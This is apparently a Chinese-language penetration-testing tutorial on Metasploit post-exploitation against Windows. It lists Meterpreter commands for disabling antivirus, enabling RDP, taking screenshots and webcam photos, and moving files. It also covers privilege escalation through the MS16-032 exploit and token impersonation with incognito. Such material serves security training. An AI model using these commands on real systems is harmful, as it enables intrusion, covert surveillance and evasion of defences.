使用Metasploit渗透攻击windows系统（二）

后渗透攻击：

介绍常用的一些命令：

查看进程：ps

查看当前进程号：getpid

查看系统信息：sysinfo

查看目标机是否为虚拟机：run post/windows/gather/checkvm

查看完整网络设置：route

查看当前权限：getuid

自动提权：getsystem

关闭杀毒软件：run post/windows/manage/killav

启动远程桌面协议：run post/windows/manage/enable_rdp

列举当前登录的用户：run post/windows/gather/enum_logged_on_users

查看当前应用程序：run post/windows/gather/enum_applications

抓取目标机的屏幕截图：load espia ； screengrab

抓取摄像头的照片：webcam_snap

查看当前处于目标机的那个目录：pwd

查看当前目录：getlwd

搜索指定类型文件：search -f *.txt -d c:\

下载文件：download c:\est.txt /root

上传文件：upload /root/test.txt c:\

在成功创建了meterpreter会话后，要开启远程桌面协议，被告知权限不允许，这个时候就需要提权。

提权操作：

1）利用EXP进行提权

输入：

Wmic qfe get Caption,Description,HotFixID,InstalledOn

查看目标机打的补丁

这里利用MS16_032本地溢出进行提权：过程如下：

在shell中查看whoami（直接用getuid就行），提权成功

2）假冒立牌进行提权

令牌窃取：

密保令牌：是一种计算机身份校验的物理设备，也叫认证令牌，硬件令牌，比如u盾

访问令牌：表示访问控制操作主题的系统对象

会话令牌：交互会话中唯一否认身份标识符

假冒令牌：在假冒令牌中，需要用到Kerberos协议（一种网络认证协议，通过密钥系统为客户机/服务器应用程序提供强大的认证服务）

查看有哪些可以使用的令牌

use incognitomo

list_tokens -u

使用命令impersonate_token hostname\\username

在shell中查看whoami，提权成功

提权成功后，就能成功开启远程桌面协议，等原先权限不允许的操作了。